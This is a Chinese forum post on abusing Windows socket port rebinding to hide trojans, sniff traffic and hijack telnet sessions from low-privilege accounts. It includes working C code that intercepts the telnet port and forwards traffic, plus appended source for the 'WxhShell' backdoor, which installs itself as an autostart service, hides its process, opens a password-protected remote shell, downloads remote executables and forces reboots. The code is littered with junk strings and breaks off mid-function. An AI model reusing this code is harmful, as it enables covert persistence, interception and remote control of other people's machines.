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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7F=2t_2O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7TnM4@*f  
I'xC+nL@  
  saddr.sin_family = AF_INET; /z..5r^,ZZ  
.r7D )xNa@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q6eN+i2 ;  
ZU)BJ!L,s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v3?kFd7%H~  
hTDV!B-_(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 " \`BPN  
W0C{~|e  
  这意味着什么?意味着可以进行如下的攻击: o*-h%Z.  
@l)\?IEF@f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (rAiDRQ[  
)\D2\1e(c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uXjoGcW  
f V*}c`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FPvuzBJ  
(%6(5,   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z@;jIH4 (  
\>4v?\8o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *Ao2j;  
/tG5!l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B%TXw#|  
(QhG xuC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .V8/ELr]  
C:rRK*  
  #include | A3U@>6  
  #include (W7;}gysh  
  #include A*rZQh b[  
  #include    -)4uYK*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U~oBNsU"  
  int main() ~g*Y, Y  
  { @bc[ eas  
  WORD wVersionRequested; 79 TPg  
  DWORD ret; +.S#=  
  WSADATA wsaData; J 5Wz4`'  
  BOOL val;  CEbzJ   
  SOCKADDR_IN saddr; y>>vGU;  
  SOCKADDR_IN scaddr; UaH26fWs  
  int err; lTx Y6vi  
  SOCKET s; @c6"RHG9  
  SOCKET sc; c"sj)-_  
  int caddsize; P#w}3^  
  HANDLE mt; ub[""M?  
  DWORD tid;   <\E"clZI  
  wVersionRequested = MAKEWORD( 2, 2 ); +8Of-ZUx  
  err = WSAStartup( wVersionRequested, &wsaData ); f-vZ2+HP  
  if ( err != 0 ) { u+I3IdU3  
  printf("error!WSAStartup failed!\n"); wy,Jw3  
  return -1; J"/ JRn  
  } 5dg-d\ 6S  
  saddr.sin_family = AF_INET; UN-T ^  
   , D exJ1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M4zX*&w.T  
44'=;/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  KYnW7|*  
  saddr.sin_port = htons(23); nw~/~eM5=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;%BhhmR)[  
  { zY]Bu-S3  
  printf("error!socket failed!\n"); @*CAn(@#N  
  return -1; =@Q#dDnFu%  
  } ,AdusM  
  val = TRUE; ]jHgo](%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >W>##vK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X*TuQ\T  
  { L{cK^ ,  
  printf("error!setsockopt failed!\n"); DkDw>Nx<rs  
  return -1; 70'} f  
  } Bv2z4D4f+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +L^A:}L(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rF Ko E%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AeNyZ[40T  
v(qV\:s}m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `V]egdO  
  { jf$JaY  
  ret=GetLastError(); bHhC56[M  
  printf("error!bind failed!\n"); ,"P5D&,_  
  return -1; )p^m}N 6M]  
  } ExN j|*  
  listen(s,2); &eThH,w$2  
  while(1) w^ixMn~nLF  
  { *Te4U5F  
  caddsize = sizeof(scaddr); 6Y;Y}E  
  //接受连接请求 S 23S.]r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X)`(nj  
  if(sc!=INVALID_SOCKET) xDPQG`6  
  { wm); aWP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s,eld@  
  if(mt==NULL) >/7KL2*  
  { =?meO0]y  
  printf("Thread Creat Failed!\n"); j#*asGdp#J  
  break; 9F2P(aS  
  } }u(d'9u  
  } PWf{aHsr  
  CloseHandle(mt); 2x)0?N[$O  
  } ,H.(\p_N  
  closesocket(s); PY^^^01P  
  WSACleanup(); 8C*6Fjb#  
  return 0; Ft3N#!ubl  
  }   Ck ~V5  
  DWORD WINAPI ClientThread(LPVOID lpParam) t] n(5!L(  
  { Y0/jH2n  
  SOCKET ss = (SOCKET)lpParam; '_q: vjX  
  SOCKET sc; _Vdb?  
  unsigned char buf[4096]; @D.R0uM  
  SOCKADDR_IN saddr; ?RgU6/2  
  long num; s=H/b$v  
  DWORD val; y)?W-5zL  
  DWORD ret; N&0uXrw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O ,Pl7x%tK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p?dGZ2` [I  
  saddr.sin_family = AF_INET; naec"Kut  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <.PPs:{8#  
  saddr.sin_port = htons(23); >>oASo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dD/29b(  
  { s,UN'~e1  
  printf("error!socket failed!\n"); l|@/?GaH  
  return -1; GibggOj2Q,  
  } ^}i5 0SG:y  
  val = 100; xZ9}8*Q&:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :GwSs'$O  
  { ;kyL>mV{  
  ret = GetLastError(); }S~ysQwT  
  return -1; 9#Aipu\  
  } m wRL zN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,xtK PA  
  { !wLH&X$XT  
  ret = GetLastError(); mV:RmA  
  return -1; r 85Xa'hh  
  } ,? 0-=o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BNL8hK`D  
  { L}e"nzTE6I  
  printf("error!socket connect failed!\n"); <B ]i80.  
  closesocket(sc); Dyouk+08x  
  closesocket(ss); 1jUhG2y  
  return -1; rZ8Y=) e  
  } (n":] 8}  
  while(1) WuP([8  
  { X/`#5<x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :/yr(V{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a'_MhJzs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J'G`=m"-'  
  num = recv(ss,buf,4096,0); .R$+#_  
  if(num>0) X]JpS  
  send(sc,buf,num,0); ? BHWzo!  
  else if(num==0) *O(/UVuD\  
  break; | Q1ub S  
  num = recv(sc,buf,4096,0); ecY ^C3+S  
  if(num>0) @n~>j&Kp  
  send(ss,buf,num,0); |l6<GWG+  
  else if(num==0) O]Ry3j  
  break; !OuTXa,I H  
  } F$6])F  
  closesocket(ss); RAg|V:/M  
  closesocket(sc); VQNYQqu`[  
  return 0 ; ~`G;=ITo  
  } I |<+'G  
9z| >roNe  
L6[rvM|9_  
========================================================== L5zG0mC8  
rx}ujjx  
下边附上一个代码,,WXhSHELL N1s $3Ul  
\4\\575zp'  
========================================================== fncwe ';?  
FfD ,cDs  
#include "stdafx.h" qSpa4W[  
2vh!pez_  
#include <stdio.h> JL.yd H79  
#include <string.h> (:fE _H2z  
#include <windows.h> zCGmn& *M  
#include <winsock2.h> ZyS;+"  
#include <winsvc.h> j^aQ>(t(9  
#include <urlmon.h> D)O6| DiO  
 0'V-  
#pragma comment (lib, "Ws2_32.lib") _pH6uuB  
#pragma comment (lib, "urlmon.lib") A5.'h<  
(. quX@w"m  
#define MAX_USER   100 // 最大客户端连接数 ~/|unV  
#define BUF_SOCK   200 // sock buffer 80s~ae;  
#define KEY_BUFF   255 // 输入 buffer /SPAJHh  
3I>S:|=K  
#define REBOOT     0   // 重启 ^7~SS2t!  
#define SHUTDOWN   1   // 关机 6wpND|cT  
<PfPh~  
#define DEF_PORT   5000 // 监听端口 CYFas:rPLT  
< ;%q  
#define REG_LEN     16   // 注册表键长度 !0. 5  
#define SVC_LEN     80   // NT服务名长度 pzt Zb  
8)-t91hkL  
// 从dll定义API vYMbson}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6XOpB^@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zNsL^;uT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -X&!dV:= 4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S,`Sq8H  
}<\65 B$1  
// wxhshell配置信息 d,oOn.n&  
struct WSCFG { +4:+qGAJ{  
  int ws_port;         // 监听端口 *(\;}JF-  
  char ws_passstr[REG_LEN]; // 口令 Ghgv RR$  
  int ws_autoins;       // 安装标记, 1=yes 0=no St7D.|  
  char ws_regname[REG_LEN]; // 注册表键名 k9_VhR|!  
  char ws_svcname[REG_LEN]; // 服务名 ;GSFQ:m[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #a'x)$2;R|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [#Nx>RY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n7,6a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~U7\ LBF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Py+jc.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z '>eT)  
G%p!os\>  
}; :WfB!4%!  
B 1d%#  
// default Wxhshell configuration }d~FTre  
struct WSCFG wscfg={DEF_PORT, @8<uAu%  
    "xuhuanlingzhe", L"[wa.<  
    1, 1&@wb'MBs.  
    "Wxhshell", "mP*}VF  
    "Wxhshell", p=`x  
            "WxhShell Service", o wpJ7S1~  
    "Wrsky Windows CmdShell Service", #`vGg9  
    "Please Input Your Password: ", ILr6W@o5A  
  1, ^pQ;0[9Y0  
  "http://www.wrsky.com/wxhshell.exe", mk`cyN>m  
  "Wxhshell.exe" 9Pob|UA  
    }; !iitx U  
}_kI>  
// 消息定义模块 5k%N<e` `  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y8~)/)l&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6rN5Xf cS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }'.Sn{OWf  
char *msg_ws_ext="\n\rExit."; ^cmP  
char *msg_ws_end="\n\rQuit."; h$ETH1Ue  
char *msg_ws_boot="\n\rReboot..."; 6dS1\Y  
char *msg_ws_poff="\n\rShutdown..."; ,~N+?k_  
char *msg_ws_down="\n\rSave to "; %*Z2Gef?H  
}PIGj}F/  
char *msg_ws_err="\n\rErr!"; 9}qfdbI  
char *msg_ws_ok="\n\rOK!"; c7nk~K[6  
+} !F(c  
char ExeFile[MAX_PATH]; z7Rcnr;  
int nUser = 0; G4exk5  
HANDLE handles[MAX_USER]; ,md7.z]U~  
int OsIsNt; q/2K=BOh  
xZ'` _x9l  
SERVICE_STATUS       serviceStatus; .vOpU4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |b'<XQ&l5  
k89gJ5B$  
// 函数声明 (+Kof  
int Install(void); 2wuW5H8w{  
int Uninstall(void); KlqJ EtO_  
int DownloadFile(char *sURL, SOCKET wsh); @8M2'R\  
int Boot(int flag); VF!kr1n!  
void HideProc(void); ^1Zq0  
int GetOsVer(void); p|9ECdU>;  
int Wxhshell(SOCKET wsl); dG~B3xg;5i  
void TalkWithClient(void *cs); ??%T  
int CmdShell(SOCKET sock); b5 C}K  
int StartFromService(void); v"('_!  
int StartWxhshell(LPSTR lpCmdLine); q;a*gqt   
yE|} r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z.9FDQLp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GwpBDM k  
g d}TTe  
// 数据结构和表定义 |8U7C\S[  
SERVICE_TABLE_ENTRY DispatchTable[] = Hv7D+ j8M  
{ dZiWVa  
{wscfg.ws_svcname, NTServiceMain}, u*-<5& X  
{NULL, NULL} ;!Z7-OZX  
}; o` 1V  
CT:eV7<>s  
// 自我安装 KjfKo;T  
int Install(void) H"RF[bX(  
{ `:BQ&T%UQR  
  char svExeFile[MAX_PATH]; @61N[  
  HKEY key; ^s2-jkK  
  strcpy(svExeFile,ExeFile); FZ.z'3I  
Ty4%du6?d  
// 如果是win9x系统,修改注册表设为自启动 -"dy z(  
if(!OsIsNt) { |9"^s x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =|V]8 tN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f!8m  
  RegCloseKey(key); N9h@1'>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |&RX>UW$W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bvu<IXX=2  
  RegCloseKey(key); K84cE  
  return 0; ,bwopRcA  
    } AFB 7s z  
  } ?Nze P?g  
} .L{+O6*c  
else { nIKT w  
dVtLYx  
// 如果是NT以上系统,安装为系统服务 qjEWk."  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k+GK1Yl  
if (schSCManager!=0) 2#A9D.- h  
{ ,lS-;.  
  SC_HANDLE schService = CreateService y~ 4nF  
  ( 7(USp#"  
  schSCManager, Qnb?hvb"d  
  wscfg.ws_svcname, iXS-EB/  
  wscfg.ws_svcdisp, [tK:y[nk  
  SERVICE_ALL_ACCESS, 6V6g{6W,/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 83,1d*`  
  SERVICE_AUTO_START, #\ S$$gP  
  SERVICE_ERROR_NORMAL, Q;,3W+(  
  svExeFile, 70*iJ^|  
  NULL, U <$xp  
  NULL, nV xMo_  
  NULL, ^8*SCM_A  
  NULL, s!fY^3  
  NULL S9#N%{8P  
  ); [W;dguh  
  if (schService!=0) Csm!\ I  
  { F`V[G(f+r  
  CloseServiceHandle(schService); qg:I+"u  
  CloseServiceHandle(schSCManager); 4e\`zy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JEF7hJz~  
  strcat(svExeFile,wscfg.ws_svcname); YM* 6W?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '2J6%Gg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QV7c9)<]'}  
  RegCloseKey(key); R$&&kmJ  
  return 0; |laKntv2  
    } +|)#yE$aMh  
  } N\e@$1  
  CloseServiceHandle(schSCManager); Au*?)X- $  
} ygY+2  
} !vp!\Zj7o  
2m_M9e\  
return 1; v.v%k2;  
} x,G6`|Hl  
:.<TWBoV  
// 自我卸载 eo52X &I  
int Uninstall(void) gWH9=%!  
{ 0HuRFl  
  HKEY key; n:."ZBtY*  
$ 14DTjj  
if(!OsIsNt) { Y"rV[oe   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "t&k{\$\  
  RegDeleteValue(key,wscfg.ws_regname); 207oE O]  
  RegCloseKey(key); i/Lq2n3 )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {,2_K6#  
  RegDeleteValue(key,wscfg.ws_regname); f>/ 1KV  
  RegCloseKey(key); Jl4XE%0  
  return 0; q/-j`'A_pb  
  } "g1;TT:1~  
} xt0j9{p  
} $#W6z:  
else { et}Y4,:  
\'=}kk`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tv)y }  
if (schSCManager!=0) _W@Fk)E6N  
{ =/!S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d;:&3r|X  
  if (schService!=0) -mw \?\2{  
  { q &6=oss!  
  if(DeleteService(schService)!=0) { &B0&183  
  CloseServiceHandle(schService); oYErG] ,  
  CloseServiceHandle(schSCManager); Xq!tXJ)  
  return 0; "$cT*}br  
  } 24/~gft  
  CloseServiceHandle(schService); 6="&K_Q7  
  } b<78K5'  
  CloseServiceHandle(schSCManager); gO!h<1!  
} je3n'^m  
} <7] Y\{+  
ioCkPj  
return 1; R+hS;F nh%  
} q$'&RG  
oxXW`C<  
// 从指定url下载文件 0BE^qe  
int DownloadFile(char *sURL, SOCKET wsh) ByvqwJY  
{ Y[?Wt/O;  
  HRESULT hr; z9O/MHT[w  
char seps[]= "/"; |Z|xM  
char *token; 8%f! X51  
char *file; U(LR('-h  
char myURL[MAX_PATH]; o`! :Q!+  
char myFILE[MAX_PATH]; Fe< t@W  
; 2-kQK9  
strcpy(myURL,sURL); ''Ec-b6Q-  
  token=strtok(myURL,seps); e`1s[ ^B  
  while(token!=NULL) ^O*hs%eO%  
  { geSo#mV  
    file=token; 1)Bi>X  
  token=strtok(NULL,seps); 'X<uG x  
  } U2nRgd  
3g:+p  
GetCurrentDirectory(MAX_PATH,myFILE); <r3n?w8  
strcat(myFILE, "\\"); x99 Oq!  
strcat(myFILE, file); ^V]DY!@k3_  
  send(wsh,myFILE,strlen(myFILE),0); }AYSQ~:  
send(wsh,"...",3,0); 7Q}@L1A9F,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F|{?GV%hF  
  if(hr==S_OK) 5B/\vLHg4  
return 0; FY*0gp  
else P;pg+L.I  
return 1; 7N=VVD~!b  
)!-'SH  
} |T&#"q,i9%  
Lb 4!N` l  
// 系统电源模块 P"@^'yR5WK  
int Boot(int flag) S`@*zQ  
{ Bd[Gsns  
  HANDLE hToken; gg_(%.>  
  TOKEN_PRIVILEGES tkp; x[6Bc  
@sO.g_yM  
  if(OsIsNt) { :''0z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !,uw./8@Ku  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s>I}-=.(Q  
    tkp.PrivilegeCount = 1; =ab}.dWC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b"bj|qF~E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k]5L\]>y  
if(flag==REBOOT) { sH: &OaA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {v 0(0  
  return 0; H`@7o8oj1  
} i.4[]f[/h  
else { R~-q! nC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =@l5He.]&  
  return 0; J<@]7)|U  
} CFxs`C^  
  } >i E  
  else { f |5|n>*  
if(flag==REBOOT) { &>+Z$ZD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r:-WfDz.  
  return 0; Z3{Qtysuv3  
} 5UyK1e))  
else { xGL"N1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QLl44*@  
  return 0; Fj4:_(%nG  
} 1+iiiVbMH  
} 0X w?}  
W#\4"'=I  
return 1; 3I(H.u  
}  sOmYQ{R  
xw Qkk  
// win9x进程隐藏模块 ~'iuh>O)  
void HideProc(void) HjD= .Q  
{ XWV~6"  
&LYZQ?|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g'E^@1{  
  if ( hKernel != NULL ) h,G$e|[?  
  { IYN`q'%|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "&F/'';0}E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2c]O Mtk  
    FreeLibrary(hKernel); j)Gr@F>  
  } ccAEN  
+.St"f/1  
return; c7_b^7h1  
} :Fl:bRH+  
GvY8O|a  
// 获取操作系统版本 _`58G#z  
int GetOsVer(void) tnntHQ&b  
{ 4V5*6O9(u  
  OSVERSIONINFO winfo; E)bP}:4V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #D8)rs.9  
  GetVersionEx(&winfo); u 05O[>w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z)Gr`SA<  
  return 1; ><HXd+- sd  
  else _qfdk@@g  
  return 0; =6:Iv"<  
} bfgLU.1I  
9UX-)!  
// 客户端句柄模块 5E}i<}sq5  
int Wxhshell(SOCKET wsl) 5/<Y,eZ/  
{ 0)#I5tEre  
  SOCKET wsh; ^+&}:9Ml  
  struct sockaddr_in client; FMiYZ1^r  
  DWORD myID; wqsnyP/m  
x($1pAE  
  while(nUser<MAX_USER) gV0ZZ"M  
{ Ff30%  
  int nSize=sizeof(client); IU/*YI%W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?(N(8)G1  
  if(wsh==INVALID_SOCKET) return 1; 89l}6p/L  
3%k+<ho(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bvwk6NBN  
if(handles[nUser]==0) 3.Qwn.   
  closesocket(wsh); m`t7-kiZ  
else ;|c,  
  nUser++; ):\L#>:w  
  } 42~;/4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hLF@'ln  
LT!4pD:a  
  return 0; q#1um @m3  
} &q+ %OPV  
aj:+"X-;  
// 关闭 socket y g7z?AZ  
void CloseIt(SOCKET wsh) =y ff.3mW\  
{ 4CqZvd C  
closesocket(wsh); 3ul  
nUser--; |<S9nZg%p  
ExitThread(0); p n)5neX{  
} \AG ,dMS  
ax$0J|}7  
// 客户端请求句柄 cuHs`{u@P  
void TalkWithClient(void *cs) y}|zH  
{ +VfJ: [q  
7~ 2X/  
  SOCKET wsh=(SOCKET)cs; {=kA8U  
  char pwd[SVC_LEN]; Y,9("'bo  
  char cmd[KEY_BUFF]; G{:L^2>  
char chr[1]; PGJ?=qXr#  
int i,j; cCwT0O#d  
w% M0Mu  
  while (nUser < MAX_USER) { ^I^k4iw 4  
!#3R<bW`R8  
if(wscfg.ws_passstr) { *+iWB_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [@(zGb8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <[*s%9)'9  
  //ZeroMemory(pwd,KEY_BUFF); b`IC)xN$  
      i=0; SYyH_0N  
  while(i<SVC_LEN) { rv^j&X+EH  
*fx<>aK  
  // 设置超时 nBQG.3  
  fd_set FdRead; VFyt9:a  
  struct timeval TimeOut; IV\@GM:ait  
  FD_ZERO(&FdRead); s)>]'ii  
  FD_SET(wsh,&FdRead); y8sI @y6  
  TimeOut.tv_sec=8; <I} k%q'  
  TimeOut.tv_usec=0; mu*wX'.'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jjs-[g'}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -y~JNDS1]  
}[1I_)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j1g^Q$B>m  
  pwd=chr[0]; y|X[NSA  
  if(chr[0]==0xd || chr[0]==0xa) { 7XZ!UC;i  
  pwd=0; PR Y)hb;1  
  break; |_-FQ~Hf F  
  } [scPs,5Y  
  i++; 2o,%O91p  
    } ^<< Wqmx  
OyVp 3O  
  // 如果是非法用户,关闭 socket Fw=-gb_.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xi-^_I  
} <K)^MLgN  
3ZC[H'|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7;Wj ^#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \jC}>9  
4Vt YR  
while(1) { mI l_ [  
b afYjF< 3  
  ZeroMemory(cmd,KEY_BUFF); Yu'lD`G  
<53~Y  
      // 自动支持客户端 telnet标准   [IMa0qs'  
  j=0; H4)){\  
  while(j<KEY_BUFF) { "g0L n5&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+Ag!O}.L  
  cmd[j]=chr[0]; pbu8Ib8z  
  if(chr[0]==0xa || chr[0]==0xd) { Z_S~#[\7^]  
  cmd[j]=0; 2;A].5>l  
  break; ,]>Eg6B,u  
  } nF05p2Mh  
  j++; {>Zc#U'  
    } ]zu" x9-`  
-\LB>\;qn  
  // 下载文件 #b:8-Lt:M  
  if(strstr(cmd,"http://")) { kz+P?mopm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hl]3F^{  
  if(DownloadFile(cmd,wsh)) .' #_Z.zr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^oj)#(3C  
  else v50=D/&w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IGVNX2  
  } .aF+>#V=Q  
  else { s fazrz`h  
8J Gt|,  
    switch(cmd[0]) { )Nk^;[  
  MOdodyG  
  // 帮助 3:!+B=woR  
  case '?': { dqnxhN+&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S=2-<R  
    break; fk9FR^u  
  } 9"oc.ue.2D  
  // 安装 Wl}d6ZTm  
  case 'i': { ~c+0SuJ  
    if(Install()) JhIgq W2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S's\M5  
    else 7\eN 8+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -k= 02?0p+  
    break; we!}"'E;  
    } R9~%ORI#;  
  // 卸载 (@~d9PvB>  
  case 'r': { N^B YNqr  
    if(Uninstall()) &ciU`//`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]k5l]JB  
    else 8I3"68c_a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jCxw|tmgq  
    break; q@H?ohIH  
    } 3S ,D~L^  
  // 显示 wxhshell 所在路径 NFv9%$l-  
  case 'p': { ]_@5LvI  
    char svExeFile[MAX_PATH]; W& w -yZ  
    strcpy(svExeFile,"\n\r"); pX+`qxF\  
      strcat(svExeFile,ExeFile); r1 )Og  
        send(wsh,svExeFile,strlen(svExeFile),0); R6*:Us0\FJ  
    break; ,vl][MhM  
    } \XD&0inv  
  // 重启 rXdI`l#  
  case 'b': { r1]shb%J?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hU@ 9vU<U  
    if(Boot(REBOOT)) $xJVUV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rcfh*"k  
    else { Q3*@m  
    closesocket(wsh);  5k{a(I  
    ExitThread(0); ANZD7v6a  
    } TIYI\/a\;  
    break; YD 1u  
    } x/ lW=EQ  
  // 关机 UF3WpA  
  case 'd': { }mzM'9JH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g`k_o<'JC  
